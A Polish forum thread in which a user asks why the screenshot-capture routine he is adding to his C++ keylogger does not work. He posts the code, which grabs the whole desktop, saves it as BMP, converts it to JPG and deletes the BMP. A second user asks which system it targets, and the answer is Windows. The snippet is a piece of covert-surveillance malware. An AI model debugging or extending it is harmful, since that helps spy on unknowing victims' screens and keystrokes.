Błąd w robieniu zrzutów ekranu przez keylogger.

[Taz123456]

Witam,

Jeżeli do keyloggera chcę dopisać kod na robienie zrzutów ekranu to nie wiem dlaczego,ale on mi nie działa ;/
Keylogger pisany jest w C++.

Oto ten cały kod:

b++;

if(b>5) return;

 

data =DateToStr(Date());

czas =TimeToStr(Time());

TCanvas &PulpitCanvas = *new TCanvas();

Graphics::TBitmap *bitmap = new Graphics::TBitmap;

 

PulpitCanvas.Handle = GetDC(0);

bitmap->Width = Screen->Width;

bitmap->Height = Screen->Height;


bitmap->Canvas->CopyRect(Rect(0, 0, bitmap->Width, bitmap->Height), &PulpitCanvas,

Rect(0, 0, bitmap->Width, bitmap->Height));

 

try

{

dir = "";

dir = dir + b;

dir = dir + ".bmp";


bitmap->SaveToFile(dir);

 

ReleaseDC(0, PulpitCanvas.Handle);

}

catch(...)

{

}

 

delete &PulpitCanvas;

delete bitmap;

 

dir = "";

dir = dir + b;

dir = dir + ".bmp";

 

Graphics::TBitmap *BMP = new Graphics::TBitmap();

TJPEGImage *JPG = new TJPEGImage();

 

BMP->LoadFromFile(dir);

JPG->Assign(BMP);

dir = "";

dir = dir + b;

dir = dir + ".jpg";

 

JPG->SaveToFile(dir);

 

JPG->Free();

BMP->Free();

 

dir = "";

dir = dir + b;

dir = dir + ".bmp";

 

DeleteFile(dir);

 

[Gilotyna-007]

A na jakim systemie ma działać ten keylogger?

 

[Taz123456]

Na Windowsie